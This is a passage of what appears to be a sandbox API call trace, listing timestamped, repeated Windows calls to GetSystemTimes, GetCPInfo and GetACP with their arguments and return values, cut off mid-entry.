[0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.804] GetACP () returned 0x4e4 [0056.804] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.805] GetACP () returned 0x4e4 [0056.805] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.806] GetACP () returned 0x4e4 [0056.806] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.807] GetACP () returned 0x4e4 [0056.807] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.808] GetACP () returned 0x4e4 [0056.808] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.809] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.809] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.810] GetACP () returned 0x4e4 [0056.810] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.811] GetACP () returned 0x4e4 [0056.811] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: 